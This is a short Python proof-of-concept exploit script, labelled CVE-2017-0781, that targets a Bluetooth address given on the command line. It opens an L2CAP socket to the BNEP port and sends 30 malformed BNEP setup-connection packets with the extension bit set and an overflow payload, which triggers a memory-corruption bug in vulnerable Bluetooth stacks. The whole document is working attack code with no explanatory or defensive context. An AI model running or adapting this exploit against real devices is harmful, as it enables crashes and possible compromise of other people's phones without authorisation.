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from pwn import * import bluetooth if not 'TARGET' in args: log.info('Usage: python CVE-2017-0781.py TARGET=XX:XX:XX:XX:XX:XX') exit() target = args['TARGET'] count = 30 # Amount of packets to send port = 0xf # BT_PSM_BNEP context.arch = 'arm' BNEP_FRAME_CONTROL = 0x01 BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x01 def set_bnep_header_extension_bit(bnep_header_type): """ If the extension flag is equal to 0x1 then one or more extension headers follows the BNEP header; If extension flag is equal to 0x0 then the BNEP payload follows the BNEP header. """ return bnep_header_type | 128 def bnep_control_packet(control_type, control_packet): return p8(control_type) + control_packet def packet(overflow): pkt = '' pkt += p8(set_bnep_header_extension_bit(BNEP_FRAME_CONTROL)) pkt += bnep_control_packet(BNEP_SETUP_CONNECTION_REQUEST_MSG, '\x00' + overflow) return pkt bad_packet = packet('AAAABBBB') log.info('Connecting...') sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu(sock, 1500) sock.connect((target, port)) log.info('Sending BNEP packets...') for i in range(count): sock.send(bad_packet) log.success('Done.') sock.close() |
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